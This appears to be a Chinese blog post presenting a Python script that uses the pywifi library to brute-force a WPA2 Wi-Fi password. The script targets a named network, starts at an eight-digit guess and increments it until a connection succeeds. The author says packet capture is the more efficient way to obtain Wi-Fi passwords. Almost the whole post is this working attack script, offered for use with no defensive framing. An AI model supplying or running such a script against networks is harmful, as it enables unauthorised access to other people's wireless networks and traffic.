python 穷举法连接wifi

import pywifi
from pywifi import const

def connect_wifi(ssid, password):
    wifi = pywifi.PyWiFi()  # 创建 Wi-Fi 对象
    iface = wifi.interfaces()[0]  # 获取第一个无线网卡接口

    iface.disconnect()  # 断开当前 Wi-Fi 连接
    iface.scan()  # 扫描可用的 Wi-Fi 网络
    wifi_list = iface.scan_results()

    for wifi in wifi_list:
        if wifi.ssid == ssid:  # 找到目标 Wi-Fi
            profile = pywifi.Profile()  # 创建 Wi-Fi 配置文件
            profile.ssid = ssid  # 设置要连接的 Wi-Fi SSID
            profile.auth = const.AUTH_ALG_OPEN  # 设置身份验证算法(这里是开放式)
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 设置加密类型(这里是 WPA/WPA2 PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP  # 设置加密算法(这里是 AES)

            profile.key = password  # 设置要尝试的密码

            iface.remove_all_network_profiles()  # 移除所有保存的 Wi-Fi 配置文件
            tmp_profile = iface.add_network_profile(profile)  # 添加新的 Wi-Fi 配置文件

            iface.connect(tmp_profile)  # 尝试连接 Wi-Fi

            import time
            time.sleep(1)  # 等待连接完成

            if iface.status() == const.IFACE_CONNECTED:  # 连接成功
                print("成功连接到 Wi-Fi,密码为:", password)
                return True
            else:
                print("连接失败,密码尝试:", password)

            break

    print("未找到目标 Wi-Fi:", ssid)
    return False

def main():
    ssid = "Redmi_ABB2"  # 要连接的 Wi-Fi SSID
    #Redmi_ABB2
    password = "58290000"  # 要尝试的密码

    while True:
        if connect_wifi(ssid, password):  # 尝试连接 Wi-Fi
            break

        # 密码加一
        password = str(int(password) + 1).zfill(8)  # 将密码转为整数并左侧填充零,保持 8 位长度

if __name__ == '__main__':
    main()

需要安装pywifi和comtypes包,此方法很笨,此贴意在一个思路,想要高效获取wifi密码还得去抓包

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ailong0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值